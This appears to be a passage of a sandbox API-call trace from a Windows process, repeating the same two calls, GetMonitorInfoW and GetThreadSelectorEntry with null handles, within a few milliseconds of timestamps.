1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.426] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.426] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.427] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.427] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.428] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.428] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.429] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.429] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.430] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.430] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18af04 | out: lpmi=0x18af04) returned 0 [0054.431] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ad48 | out: lpSelectorEntry=0x18ad48) returned 1 [0054.431] GetMonitorInfoW 